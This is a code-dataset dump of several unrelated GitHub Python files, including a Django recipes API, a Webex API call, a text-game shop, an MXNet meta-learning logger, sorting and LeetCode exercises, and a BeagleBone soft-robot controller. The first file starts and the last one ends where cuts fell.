User.objects.get(id=user_detection(request))\n\n try:\n recipe = Recipe(name=recipe_name, recipe_text=recipe_text, user=user)\n recipe.save()\n except:\n raise ParseError('The recipe with given name already exists!', code=300)\n\n for ingredient_name in ingredients_list:\n ingredient = Ingredient(name=ingredient_name.capitalize())\n ingredient = Ingredient.objects.get_or_create(name=ingredient_name.capitalize())[0]\n recipe.ingredients.add(ingredient)\n \n resp = {\n \"status\": 200, \n \"message\": \"Recipe created successfully!\"\n }\n return Response(resp)\n\n\nclass AllRecipesView(APIView):\n def get(self, request):\n\n if not user_detection(request):\n raise AuthenticationFailed('Unauthenticated!')\n\n all_recipes_query = Recipe.objects.all()\n\n content = list_recipes(all_recipes_query)\n\n return Response(content)\n\n\nclass MyRecipesView(APIView):\n def get(self, request):\n\n my_recipes_query = Recipe.objects.all().filter(user=user_detection(request))\n \n content = list_recipes(my_recipes_query)\n\n return Response(content)\n\n\nclass RateRecipeView(APIView):\n def post(self, request):\n try:\n recipe_name = request.data['recipe_name']\n recipe_rate = request.data['recipe_rate']\n except:\n raise ParseError('You should provide: recipe_name and recipe_rate (1-5)!')\n\n if not isinstance(recipe_name, str) == True or recipe_rate not in [1,2,3,4,5]:\n raise ParseError('Make sure that: recipe_name (type=str) and recipe_rate (type=int(1-5)!')\n\n recipe = Recipe.objects.filter(name=recipe_name).first()\n \n if not recipe:\n raise ParseError(\"This recipe does not exist!\")\n\n if recipe.user_id == user_detection(request):\n raise ParseError('You cannot rate your own recipe!')\n\n user = User.objects.filter(id=user_detection(request)).first()\n rate = Rate.objects.filter(id=recipe_rate).first()\n\n Rating.objects.update_or_create(user=user, recipe=recipe, defaults = {'rate': rate})\n resp = {\n \"status\": 200, \n \"message\": \"Recipe rated successfully!\"\n }\n return Response(resp)\n\n\nclass MostUsedIngredientsView(APIView):\n def get(self, request):\n if not user_detection(request):\n raise AuthenticationFailed('Unauthenticated!')\n\n ingredients_query = Recipe.objects.values_list('ingredients__name').annotate(count=Count('ingredients')).order_by('-count')[:5]\n\n most_used = []\n\n for ing in ingredients_query:\n most_used.append(ing[0])\n\n resp = {\n \"status\": 200, \n \"most_used_ingredients\": most_used\n }\n return Response(resp)\n\n\nclass SearchRecipesView(APIView):\n def post(self, request):\n if not user_detection(request):\n raise AuthenticationFailed('Unauthenticated!')\n\n name = request.data.get(\"name\", \"xxxxx\")\n text = request.data.get(\"text\", \"xxxxx\")\n ingredients = request.data.get(\"ingredients\", [\"xxxxx\"])\n\n if not isinstance(name, str) == isinstance(text, str) == isinstance(ingredients, list) == True or not all(isinstance(ing, str) for ing in ingredients):\n raise ParseError('Make sure that: name (type=str), text (type=str) and ingredients (type=list(str))!')\n\n recipes_found_query = Recipe.objects.filter(Q(name__icontains=name) | Q(recipe_text__icontains=text) | reduce(operator.or_, (Q(ingredients__name__icontains=ing) for ing in ingredients))).distinct()\n\n content = list_recipes(recipes_found_query)\n\n return Response(content)\n\n\nclass FilterRecipesView(APIView):\n def post(self, request):\n if not user_detection(request):\n raise AuthenticationFailed('Unauthenticated!')\n\n min_ingredients = request.data.get(\"min_ingredients\", 0)\n max_ingredients = request.data.get(\"max_ingredients\", 100)\n\n if not isinstance(min_ingredients, int) == isinstance(max_ingredients, int) == True:\n raise ParseError('Make sure that: min_ingredients (type=int) and max_ingredients (type=int)!')\n\n recipes_filtered_query = Recipe.objects.annotate(number_of_ingredients=Count('ingredients')).filter(number_of_ingredients__lte=max_ingredients, number_of_ingredients__gte=min_ingredients)\n\n content = list_recipes(recipes_filtered_query)\n\n return Response(content)","repo_name":"MirkoMilanovic/Recipes_API","sub_path":"recipes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"26316624301","text":"f1 = \"D:\\python\\chapter9\\jay.txt\"\nf2 = \"D:\\python\\chapter9\\jay1.txt\"\n\nwith open(f1) as f:\n file1 = f.read()\n\nwith open(f2) as f:\n file2 = f.read()\n\nif file1==file2:\n print(\"Yes! thes files are identical\")\nelse:\n print(\"These files are not identical\")","repo_name":"jayesh580/my_python","sub_path":"chapter9/13_identical_files.py","file_name":"13_identical_files.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"7724753763","text":"from mySecret import *\nimport requests\nimport json\n\naccess_token = myAccessToken\n\nroom_id = 'Y2lzY29zcGFyazovL3VzL1JPT00vZWNlM2NiZDAtOTA3NC0xMWViLWEyODktZDczOWQ1ZjdhMWNh'\nurl = 'https://webexapis.com/v1/memberships'\nheaders = {\n 'Authorization': 'Bearer {}'.format(access_token),\n 'Content-Type': 'application/json'\n}\nparams = {'roomId': room_id}\nres = requests.get(url, headers=headers, params=params)\n\nprint(json.dumps(res.json(), indent=4))\n","repo_name":"Puddinnd/NPA-2020","sub_path":"week6-REST_API/basic/list-memberships.py","file_name":"list-memberships.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"70578367592","text":"\"\"\"This file contains the Status class that analyzes open projects, members and meetings data in order to \nprovide topline information on the dashboard\"\"\"\n# Contributions: apaderno at https://stackoverflow.com/questions/1937622/convert-date-to-datetime-in-python/1937636 for converting\n# a date value to datetime in function confirm_meeting\n\nfrom datetime import date\nfrom datetime import datetime\nimport sqlparse\n\nclass Status:\n \"\"\"Represents the view from the dashboard page.\"\"\"\n\n def __init__(self, data) -> None:\n \"\"\"\n Initializes the Status class that holds all the open projects for \n the dashboard view.\n \"\"\"\n self._data = data\n\n def test_data(self):\n print(self._data)\n\ndef confirm_meeting(meetings):\n \"\"\"\n This is a helper method to clear which meetings have passed\n \"\"\"\n upcoming_meetings = []\n date_now = datetime.now() # Get today's date\n for meeting in meetings:\n converted_date = datetime.combine(meeting.date, datetime.min.time()) # Convert date to datetime\n if (converted_date > date_now): # Check if the meeting time has passed\n upcoming_meetings.append(meeting)\n return upcoming_meetings","repo_name":"DeanDro/Django_Projects","sub_path":"myblog/project_management/functionality/dashboard_view.py","file_name":"dashboard_view.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"33148272131","text":"from Player import *\nimport os \nimport time\nfrom Player import Player_1\n\nclass Butik_items:\n def __init__(self, namn, bonus_strength, bonus_hp):\n self.namn = namn\n self.bonus_strength = bonus_strength\n self.bonus_hp = bonus_hp\n def __str__(self):\n return f\"{self.namn} med styrka {self.bonus_strength}\"\n\n\n def köp_plåster(self):\n köp_plåster = input(\"\"\" \n \n /==========================1\n / : : : : : |::::| : : : : : 1 |===============|\n{ : : : : : :|::::|: : : : : : } |Namn = plåster |\n \\ : : : : : |::::| : : : : : / |Pris = 20$ |\n ==========================/ |HP_bonus = +10 |\n=============================== |===============|\n Vill du köpa?\n 1) Köp\n 2) Tillbaka\n=============================== \n\n \"\"\")\n while True:\n if köp_plåster == \"1\":\n if Player_1.pengar < 20:\n os.system('cls')\n print(\"Du har för lågt saldo!!\")\n return Player_1\n else:\n if Player_1.HP == ursprungliga_HP:\n os.system('cls')\n print(f\"Ditt HP är max {ursprungliga_HP} du kan inte köpa\")\n input(\"Tryck [ENTER]\")\n break\n else:\n os.system('cls')\n Player_1.pengar -= 20\n print(\"Plåstern kostade 20$\")\n print(\"Du har en plåster nu i din ryggsäck\")\n time.sleep(0.5)\n Player_1.HP += 10\n print(f\"Du har {Player_1.HP} HP nu\")\n time.sleep(0.5)\n print(f\"Pengar kvar: {Player_1.pengar}\")\n input(\"Tryck enter för att gå vidare\")\n break\n elif köp_plåster == \"2\":\n break\n else:\n os.system('cls')\n print(\"Skriv rätt!!\")\n return Player_1\n \n def yxa(self):\n os.system('cls')\n köp_yxa = input(\"\"\" \n /\\ \n//`-||-'1)\n(|-=||=- |) \n\\L,-||-.// |==================|\n \\L ||-// |Namn = Yxa |\n || |Pris = 200$ |\n || |Strength_bonus = 5|\n || |==================|\n || \n || \n ||\n ()\n\n\n============================= \n Vill du köpa?\n 1) Köp\n 2) Tillbaka\n============================= \n \"\"\")\n while True:\n if köp_yxa == \"1\":\n if Player_1.pengar < 200:\n os.system('cls')\n print(\"Du har för lågt saldo!!. Du kan inte köpa yxan\")\n input(\"Okej? [ENTER]\")\n return Player_1\n else:\n os.system('cls')\n Player_1.pengar -= 200\n yxa_info = {\"namn\":\"Yxa\", \"strength_bonus\":5}\n Player.lägg_till_inventoryt(yxa_info, Yxa)\n return Player_1\n elif köp_yxa == \"2\":\n break\n else:\n köp_yxa = input(\"Ogiltigt svar, skriv rätt : \")\n return Player_1\n \n def tabbe(self):\n os.system('cls')\n köp_tabbe = input(\"\"\" \n\n \n ____________________________________________________________\n| () |==================|\n| |____________________________| |Namn = Tabbe |\n| | |Pris = 400$ |\n| ________________________| |Strength_bonus = 8|\n| |] | |==================|\n| |___| \n| |\n| |\n| |\n| |\n|___ _| \n \n \n\n\n\n============================= \n Vill du köpa?\n 1) Köp\n 2) Tillbaka\n============================= \n \"\"\")\n while True:\n if köp_tabbe == \"1\":\n if Player_1.pengar < 400:\n os.system('cls')\n print(\"Du har för lågt saldo!!. Du kan inte köpa tabben\")\n input(\"Okej? [ENTER]\")\n return Player_1\n else:\n os.system('cls')\n Player_1.pengar -= 400\n tabbe_info = {\"namn\":\"Tabbe\", \"strength_bonus\":8}\n Player.lägg_till_inventoryt(tabbe_info, Tabbe)\n return Player_1\n elif köp_tabbe == \"2\":\n break\n else:\n köp_tabbe = input(\"Ogiltigt svar, skriv rätt : \")\n return Player_1\n\n def butik(self):\n Alternativ = [\"1\",\"2\",\"3\",\"4\"]\n val_shelf = \"\"\n while val_shelf not in Alternativ:\n os.system('cls')\n print(f\"Ditt saldo är {Player_1.pengar}$\")\n print(\"\"\"\n===================================================\n Välkommnen till Jamal och brödernas butik!\n====================================================\n====================================================\n Här finnns olika hyllor vilken väljer du? \n====================================================\n 1) Yxa 3) Tabbe \n 2) Medicin 4) Tillbaka\n \"\"\")\n val_shelf = input(\"\\n Vad väljer du? \")\n if val_shelf == \"1\":\n os.system('cls')\n Butik_items.yxa(Player_1)\n\n elif val_shelf == \"2\":\n os.system('cls')\n Butik_items.köp_plåster(Player_1)\n elif val_shelf == \"3\":\n os.system('cls')\n Butik_items.tabbe(Player_1)\n elif val_shelf == \"4\":\n os.system('cls')\n break\n else:\n os.system('cls')\n print(\"Välj rätt siffta\")\n val_shelf = \"\"\n\n\n\nPlåster = Butik_items(\"Plåster\", None, 10)\nYxa = Butik_items(\"Yxa\", 5, None)\nTabbe= Butik_items(\"Tabbe\",8,None)\n\n\n \n\n\n\n","repo_name":"Mehdissf/spel","sub_path":"Äventyrsspel/Butik.py","file_name":"Butik.py","file_ext":"py","file_size_in_byte":6167,"program_lang":"python","lang":"sv","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"12253724031","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport logging\nimport mxnet as mx\n\n\nALL = 'all'\n\n\nclass MetaLogger():\n \"\"\"\n Class for holding the parameters and losses for a MetaRepurposer and plotting those values.\n \"\"\"\n # TODO: Add support for logging loss/parameters after each batch rather than after every epoch\n def __init__(self, alpha_plot=0.1):\n self._losses = {}\n self._parameters = {}\n\n self.alpha_plot = alpha_plot\n\n self.EPOCH = 'epoch'\n self.TASK = 'task'\n self.METASTEP = 'metastep'\n\n def reset(self):\n self._losses = {}\n self._parameters = {}\n\n @property\n def num_tasks(self):\n all_tasks = []\n for ms in self._parameters.keys():\n all_tasks.append([k for k in self._parameters[ms].keys() if isinstance(k, int)])\n return len(np.unique(all_tasks))\n\n def report(self, end, hook=None):\n \"\"\"\n Report results at end of epoch/task/metastep using hook function.\n \"\"\"\n if hook is None:\n hook = logging.info\n\n reporter = {self.EPOCH: self._report_epoch,\n self.TASK: self._report_task,\n self.METASTEP: self._report_metastep}\n\n reporter[end](hook)\n\n def _report_epoch(self, hook):\n hook('\\t\\tMetastep: {}, Task: {}, Epoch: {}, Loss: {:.3f}'.format(\n self.latest_metastep, self.latest_task,\n len(self._losses[self.latest_metastep][self.latest_task]),\n self._losses[self.latest_metastep][self.latest_task][-1]))\n\n def _report_task(self, hook):\n initial_loss = self._losses[self.latest_metastep][self.latest_task][0]\n final_loss = self._losses[self.latest_metastep][self.latest_task][-1]\n hook('\\tMetastep: {}, Task: {}, Initial Loss: {:.3f}, Final Loss: {:.3f}, Loss delta: {:.3f}'.format(\n self.latest_metastep, self.latest_task,\n initial_loss, final_loss, final_loss - initial_loss))\n\n def _report_metastep(self, hook):\n loss_total = 0\n for task_loss in self._losses[self.latest_metastep].values():\n loss_total += task_loss[-1]\n num_tasks = len(self._losses[self.latest_metastep].keys())\n mean_loss = loss_total / num_tasks\n hook('Metastep: {}, Num tasks: {}, Mean Loss: {:.3f}'.format(self.latest_metastep, num_tasks, mean_loss))\n\n @property\n def latest_metastep(self):\n return max(self._losses.keys())\n\n @property\n def latest_task(self):\n return max(self._losses[self.latest_metastep].keys())\n\n def log_loss(self, metastep, task, epoch, loss):\n \"\"\"\n Append loss to dictionary.\n \"\"\"\n if metastep not in self._losses.keys():\n self._losses[metastep] = {}\n if task not in self._losses[metastep].keys():\n self._losses[metastep][task] = []\n self._losses[metastep][task].append(loss)\n\n def log_params(self, metastep, task, epoch, net):\n \"\"\"\n Append parameters to dictionary.\n \"\"\"\n parameters = {}\n for k, v in net.params.items():\n parameters[k] = v.data().copy().asnumpy()\n\n if metastep not in self._parameters.keys():\n self._parameters[metastep] = {}\n if task not in self._parameters[metastep].keys():\n self._parameters[metastep][task] = []\n self._parameters[metastep][task].append(parameters)\n\n def log_initial_params(self, ms, net):\n \"\"\"\n Log parameters before any updates made.\n \"\"\"\n if ms in self._parameters.keys():\n return\n self.log_params(ms, ALL, -1, net)\n\n def plot_losses(self, add_label=True, figsize=(20, 4)):\n \"\"\"\n Plot the logged losses.\n \"\"\"\n if self._losses == {}:\n raise ValueError('No losses logged.')\n fig, axes = plt.subplots(ncols=self.num_tasks, figsize=figsize)\n fig.suptitle('Losses', fontsize=30, y=1.08)\n for task in range(self.num_tasks):\n axes[task].set_title('Task {}'.format(task))\n axes[task].set_xlabel('epoch')\n axes[task].set_ylabel('loss')\n for ms in self._losses.keys():\n for task in range(self.num_tasks):\n if task in self._losses[ms].keys():\n alpha = 1 if ms == max(self._losses.keys()) else self.alpha_plot\n axes[task].plot(self._losses[ms][task], 'o-', alpha=alpha)\n if add_label:\n axes[task].text(x=0.05, y=self._losses[ms][task][0], s=ms)\n\n def plot_params(self, param, W, loss_fn, figsize=(20, 6), gridsize=(100, 100), a=0.2, loss_samples=100):\n \"\"\"\n Plot the logged parameters.\n \"\"\"\n if self._parameters == {}:\n raise ValueError('No parameters logged.')\n fig, axes = plt.subplots(ncols=self.num_tasks, figsize=figsize)\n for surface in range(self.num_tasks):\n for ms in sorted(self._parameters.keys()):\n for task in range(self.num_tasks):\n if task in self._parameters[ms].keys() or ms == max(self._parameters.keys()):\n temp_ms = ms\n while task not in self._parameters[temp_ms].keys():\n temp_ms -= 1\n x = np.concatenate([p[param] for p in self._parameters[temp_ms][task]])\n x = np.concatenate([self._parameters[temp_ms]['all'][0][param], x]).T\n initial_point = self._parameters[temp_ms]['all'][0][param].T\n\n assert x.shape[0] == 2, 'Dimension of parameter must be 2.'\n\n label = task if ms == max(self._parameters.keys()) else None\n alpha = 1 if ms == max(self._parameters.keys()) else self.alpha_plot\n color = 'r' if surface == task else 'k'\n axes[surface].plot(x[0], x[1], 'o-', color=color, label=label, alpha=alpha)\n axes[surface].plot(initial_point[0], initial_point[1], 'o-', color='tab:pink', alpha=alpha)\n axes[surface].legend()\n axes[surface].set_title('Loss surface for Task {}'.format(surface))\n # Plot loss surface\n extent = axes[surface].get_xlim() + axes[surface].get_ylim()\n grid = np.zeros(gridsize)\n for i, w1 in enumerate(np.linspace(extent[0], extent[1], gridsize[0])):\n for j, w2 in enumerate(np.linspace(extent[2], extent[3], gridsize[1])):\n grid[j][i] = loss_fn(mx.nd.array([w1, w2]), W[surface], loss_samples)\n axes[surface].imshow(grid, extent=extent, origin='lower')\n # Set labels\n axes[surface].set_xlabel(param + ' 1')\n axes[surface].set_ylabel(param + ' 2')\n fig.suptitle('Parameters', fontsize=30, y=0.9)\n","repo_name":"amzn/xfer","sub_path":"leap/leap/metalogger.py","file_name":"metalogger.py","file_ext":"py","file_size_in_byte":6896,"program_lang":"python","lang":"en","doc_type":"code","stars":250,"dataset":"github-code","pt":"72"} +{"seq_id":"40493957164","text":"#1. Buatlah kode program untuk menampilkan perubahan setiap iterasi dari proses pengurutan dengan counting sort\n#2. Tambahkan kode program untuk menghitung banyaknya perbandingan dan pergeseran pada algoritma counting sort\n\ndef countingSort(list_data,k): \n D = [] \n E = [] \n \n for i in range(k+1): \n D.append(0) \n \n for j in range(len(list_data)): \n D[list_data[j]] = D[list_data[j]]+1 \n E.append(0)\n \n for x in range(1,k+1) :\n D[x] = D[x]+D[x-1] \n \n g = 1\n for j in range(len(list_data)-1,-1,-1): \n E[D[list_data[j]]-1] = list_data[j] \n print('Pada Iterasi ke-{} \\npada B[{}] akan di replace dengan {} \\nsehingga data akan menghasilkan data terbaru : {}\\n'.format(g,D[list_data[j]]-1,list_data[j],E))\n D[list_data[j]] = D[list_data[j]]-1 \n g += 1\n\n return(E)\n\na_list = [18,81,99,91,7,8,3,5,2]\nprint(countingSort(a_list,max(a_list)))","repo_name":"dewialqurani/STRADATA_SEMESTER2","sub_path":"UAS/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"23775397441","text":"'''\n1696. Jump Game VI\nMedium\n\n1848\n\n71\n\nAdd to List\n\nShare\nYou are given a 0-indexed integer array nums and an integer k.\n\nYou are initially standing at index 0. In one move, you can jump at most k steps forward without going outside the boundaries of the array. That is, you can jump from index i to any index in the range [i + 1, min(n - 1, i + k)] inclusive.\n\nYou want to reach the last index of the array (index n - 1). Your score is the sum of all nums[j] for each index j you visited in the array.\n\nReturn the maximum score you can get.\n\n \n\nExample 1:\n\nInput: nums = [1,-1,-2,4,-7,3], k = 2\nOutput: 7\nExplanation: You can choose your jumps forming the subsequence [1,-1,4,3] (underlined above). The sum is 7.\nExample 2:\n\nInput: nums = [10,-5,-2,4,0,3], k = 3\nOutput: 17\nExplanation: You can choose your jumps forming the subsequence [10,4,3] (underlined above). The sum is 17.\nExample 3:\n\nInput: nums = [1,-5,-20,4,-1,3,-6,-3], k = 2\nOutput: 0\n \n\nConstraints:\n\n1 <= nums.length, k <= 105\n-104 <= nums[i] <= 104\nAccepted\n55,789\nSubmissions\n127,563\n'''\n# O(nlogk)\nclass Solution:\n def maxResult(self, nums: List[int], k: int) -> int:\n if len(nums) == 1: return nums[0]\n max_heap = [(-nums[0], 0)]\n for i in range(1, len(nums)-1):\n while len(max_heap) > k and max_heap[0][1] < i-k:\n heappop(max_heap)\n heappush(max_heap, (max_heap[0][0] - nums[i], i))\n while len(max_heap) > k and max_heap[0][1] < len(nums)-1-k:\n heappop(max_heap)\n return -max_heap[0][0]+nums[len(nums)-1]\n\n# O(n)\nclass Solution:\n def maxResult(self, nums: List[int], k: int) -> int:\n q = deque([0])\n for i in range(1, len(nums)):\n nums[i] = nums[i] + nums[q[0]]\n while q and nums[q[-1]] <= nums[i]:\n q.pop()\n q.append(i)\n if i-q[0] >= k: q.popleft()\n return nums[-1]","repo_name":"jomesh18/Leetcode","sub_path":"Leetcode_challenge/2022/07. July/09.maxResult.py","file_name":"09.maxResult.py","file_ext":"py","file_size_in_byte":1912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"23173265151","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Jul 23 13:39:59 2019\r\n\r\n@author: AmP\r\n\"\"\"\r\nimport numpy as np\r\nimport errno\r\nimport logging\r\nimport time\r\nimport threading\r\n\r\ntry:\r\n import Adafruit_BBIO.PWM as PWM\r\n import Adafruit_BBIO.ADC as ADC\r\n ADC.setup()\r\nexcept ImportError:\r\n pass\r\n\r\nfrom Src.Hardware import MPU_9150 as sensors\r\n\r\nfrom Src.Management import state_machine\r\nfrom Src.Management.thread_communication import llc_ref\r\nfrom Src.Management.thread_communication import llc_rec\r\n\r\n\r\nfrom Src.Hardware.configuration import CHANNELset\r\nfrom Src.Hardware.configuration import IMUset\r\nfrom Src.Hardware.configuration import TSAMPLING\r\nfrom Src.Hardware.configuration import STARTSTATE\r\n\r\nfrom csv_read_test import pattern_ref\r\n\r\nfrom Src.Controller import ctrlib\r\nfrom Src.Controller import calibration\r\nfrom Src.Controller import compute_utils\r\n\r\n\r\n\r\nrootLogger = logging.getLogger()\r\n\r\nPOTIS = {0: \"P9_33\"}\r\nOUT = {0: \"P8_13\"}\r\n\r\nfor name in CHANNELset:\r\n PWM.start(OUT[name], 0, 25000)\r\n PWM.set_duty_cycle(OUT[name], 10.0)\r\n\r\n\r\ndef set_pressure_ref_via_poti():\r\n potis = {}\r\n for idx in POTIS:\r\n val = ADC.read(POTIS[idx]) # bug-> read twice\r\n val = round(ADC.read(POTIS[idx])*100)/100\r\n potis[idx] = val\r\n llc_ref.pressure = potis\r\n\r\ndef set_alpha_ref_via_poti():\r\n potis = {}\r\n for idx in POTIS:\r\n val = ADC.read(POTIS[idx]) # bug-> read twice\r\n val = round(ADC.read(POTIS[idx])*100)/100*120\r\n potis[idx] = val\r\n llc_ref.alpha = potis\r\n\r\n\r\ndef is_poti():\r\n for idx in POTIS:\r\n val = ADC.read(POTIS[idx]) # bug-> read twice\r\n val = round(ADC.read(POTIS[idx])*100)/100\r\n return True if val != 0 else False\r\n\r\n\r\n\r\ndef IMU_connection_test():\r\n imu_set = [imu for imu in IMUset]\r\n imu_used_ = [CHANNELset[name]['IMUs'] for name in CHANNELset]\r\n while [None] in imu_used_:\r\n imu_used_.remove([None])\r\n imu_used = list(np.unique([imu for subl in imu_used_ for imu in subl]))\r\n for imu in imu_used:\r\n if imu not in imu_set and imu is not None:\r\n raise KeyError(\r\n 'IMU with name \"{}\"'.format(imu) + ' is used for angle' +\r\n 'calculation, but is not in the set of connected IMUs')\r\n try:\r\n IMU = {}\r\n for name in IMUset:\r\n rootLogger.info(\"initialize IMU with mplx id: \" +\r\n str(IMUset[name]['id']))\r\n IMU[name] = sensors.MPU_9150(\r\n name=name, mplx_id=IMUset[name]['id'])\r\n except IOError: # not connected\r\n rootLogger.info(\"failed\")\r\n IMU = False\r\n return IMU\r\n\r\n\r\nclass LowLevelController(threading.Thread):\r\n\r\n \r\n def __init__(self):\r\n threading.Thread.__init__(self)\r\n self.sampling_time = TSAMPLING\r\n self.imu_in_use = None\r\n Ts = 0.03 # calc mean sampling time\r\n gamma = .07\r\n self.ell = 11.2\r\n self.gyrscale = 1/2500\r\n self.accscale = 9.81\r\n self.LP = [compute_utils.LP1n(Ts, gamma) for i in range(4)] # lowpass filter\r\n self.Diff = compute_utils.Diff1(Ts)\r\n\r\n def is_imu_in_use(self):\r\n return self.imu_in_use\r\n\r\n def run(self):\r\n IMU = IMU_connection_test()\r\n self.imu_in_use = True if IMU else False\r\n\r\n def read_imu():\r\n for name in IMU:\r\n try:\r\n llc_rec.acc[name] = IMU[name].get_acceleration()\r\n llc_rec.gyr[name] = IMU[name].get_gyro()\r\n except IOError as e:\r\n if (e.errno == errno.EREMOTEIO \r\n or e.errno == errno.EWOULDBLOCK):\r\n rootLogger.exception(\r\n 'cant read imu device.' +\r\n 'Continue anyway ...Fail in [{}]'.format(name))\r\n else:\r\n rootLogger.exception('Sensor [{}]'.format(name))\r\n rootLogger.error(e, exc_info=True)\r\n raise e\r\n\r\n def calc_angle(self): #M \"self\" hinzugefügt\r\n if IMU:\r\n for name in CHANNELset:\r\n idx0, idx1 = CHANNELset[name]['IMUs']\r\n rot_angle = CHANNELset[name]['IMUrot']\r\n acc0 = np.array(self.LP[0].filt(llc_rec.acc[idx0]))*self.accscale\r\n acc1 = np.array(self.LP[1].filt(llc_rec.acc[idx1]))*self.accscale\r\n gyr0 = np.array(self.LP[2].filt(llc_rec.gyr[idx0]))*self.gyrscale\r\n gyr1 = np.array(self.LP[3].filt(llc_rec.gyr[idx1]))*self.gyrscale\r\n domega_z = self.Diff.diff(gyr1[2]-gyr0[2])\r\n last_alp = llc_rec.aIMU[name]\r\n\r\n adynx, adyny = compute_utils.a_dyn(\r\n domega_z, last_alp, self.ell)\r\n acc1_static = [acc1[0]+adynx, acc1[1]+adyny, acc1[2]]\r\n aIMU_filt = compute_utils.calc_angle(\r\n acc0, acc1_static, rot_angle)\r\n\r\n llc_rec.aIMU[name] = round(aIMU_filt, 2)\r\n\r\n read_imu() # init recorder\r\n calc_angle(self)\r\n\r\n def PPIDBooster():\r\n rootLogger.info(\"Arriving in PPIDBooster State. \")\r\n booster = ctrlib.PressureBoost(version='big', tboost=.75)\r\n\r\n while llc_ref.state == 'PPIDBOOSTER':\r\n if IMU and is_poti():\r\n read_imu()\r\n calc_angle(self)\r\n #referenz über pattern\r\n pattern_ref(patternname='pattern_0.csv', alpha=True)\r\n for name in CHANNELset:\r\n aref = llc_ref.alpha[name]\r\n pref = booster.get_reference(aref)\r\n pwm = calibration.cut_off(int(100*pref), 100)\r\n PWM.set_duty_cycle(OUT[name], pwm)\r\n llc_rec.u[name] = pwm\r\n\r\n time.sleep(self.sampling_time)\r\n\r\n return llc_ref.state\r\n\r\n\r\n def PPID():\r\n rootLogger.info(\"Arriving in PPID State. \")\r\n\r\n while llc_ref.state == 'PPID':\r\n if IMU and is_poti():\r\n read_imu()\r\n calc_angle(self)\r\n #referenz über pattern\r\n pattern_ref(patternname='pattern_0.csv', alpha=True)\r\n for name in CHANNELset:\r\n aref = llc_ref.alpha[name]\r\n pref = calibration.get_pressure(aref, version='big')\r\n pwm = calibration.cut_off(int(100*pref), 100)\r\n PWM.set_duty_cycle(OUT[name], pwm)\r\n llc_rec.u[name] = pwm\r\n\r\n time.sleep(self.sampling_time)\r\n\r\n return llc_ref.state\r\n\r\n\r\n def CasPID():\r\n rootLogger.info(\"Arriving in CasPID State. \")\r\n PID = [0.008, 0.020, .01]\r\n CasCtr = ctrlib.PidController_WindUp(PID, TSAMPLING, max_output=1.)\r\n\r\n while llc_ref.state == 'CASPID':\r\n if IMU and is_poti():\r\n read_imu()\r\n calc_angle(self)\r\n #referenz über pattern\r\n pattern_ref(patternname='pattern_0.csv', alpha=True)\r\n for name in CHANNELset:\r\n aref = llc_ref.alpha[name]\r\n pref = CasCtr.output(aref, llc_rec.aIMU[name])\r\n pwm = pwm = calibration.cut_off(pref*100, 100)\r\n PWM.set_duty_cycle(OUT[name], pwm)\r\n llc_rec.u[name] = pwm\r\n\r\n time.sleep(self.sampling_time)\r\n\r\n return llc_ref.state\r\n\r\n\r\n def CasPIDClb():\r\n rootLogger.info(\"Arriving in CasPIDClb State. \")\r\n PID = [0.0204, 0.13, 0.0037]\r\n CasCtr = ctrlib.PidController_WindUp(PID, TSAMPLING, max_output=.4)\r\n\r\n while llc_ref.state == 'CASPIDCLB':\r\n if IMU:\r\n read_imu()\r\n calc_angle(self)\r\n #referenz über pattern\r\n# pattern_ref(patternname='pattern_0.csv', alpha=True)\r\n #referenz über Poti\r\n set_alpha_ref_via_poti()\r\n for name in CHANNELset:\r\n aref = llc_ref.alpha[name]\r\n clb = calibration.get_pressure(aref, version='big')\r\n pid = CasCtr.output(aref, llc_rec.aIMU[name])\r\n pref = clb + pid\r\n pwm = pwm = calibration.cut_off(pref*100, 100)\r\n PWM.set_duty_cycle(OUT[name], pwm)\r\n llc_rec.u[name] = pwm\r\n\r\n time.sleep(self.sampling_time)\r\n\r\n return llc_ref.state\r\n\r\n\r\n\r\n\r\n def POTIREF():\r\n rootLogger.info(\"Arriving in POTIREF State: \")\r\n\r\n while llc_ref.state == 'POTIREF':\r\n # read\r\n if IMU:\r\n read_imu()\r\n calc_angle(self)\r\n # referenz über Poti\r\n set_pressure_ref_via_poti()\r\n # write\r\n for name in CHANNELset:\r\n pref = llc_ref.pressure[name]\r\n PWM.set_duty_cycle(OUT[name], pref*100)\r\n llc_rec.u[name] = pref*100\r\n time.sleep(self.sampling_time)\r\n\r\n return llc_ref.state\r\n\r\n def clb():\r\n rootLogger.info(\"Arriving in CLB State: \")\r\n\r\n while llc_ref.state == 'CLB':\r\n # read\r\n if IMU and is_poti():\r\n read_imu()\r\n calc_angle(self)\r\n pattern_ref(patternname='clb.csv', alpha=False)\r\n # write\r\n for name in CHANNELset:\r\n pref = llc_ref.pressure[name]\r\n PWM.set_duty_cycle(OUT[name], pref*100)\r\n llc_rec.u[name] = pref*100\r\n time.sleep(self.sampling_time)\r\n\r\n return llc_ref.state\r\n\r\n def pause_state():\r\n \"\"\" do nothing. waiting for tasks \"\"\"\r\n rootLogger.info(\"Arriving in PAUSE State: \")\r\n\r\n while llc_ref.state == 'PAUSE':\r\n if IMU:\r\n read_imu()\r\n calc_angle()\r\n\r\n time.sleep(self.sampling_time)\r\n\r\n return llc_ref.state\r\n\r\n def clean():\r\n rootLogger.info('Clean PWM ...')\r\n PWM.cleanup()\r\n\r\n \"\"\" ---------------- ----- ------- ----------------------------- \"\"\"\r\n \"\"\" ---------------- RUN STATE MACHINE ------------------------- \"\"\"\r\n \"\"\" ---------------- ----- ------- ----------------------------- \"\"\"\r\n\r\n automat = state_machine.StateMachine()\r\n automat.add_state('PAUSE', 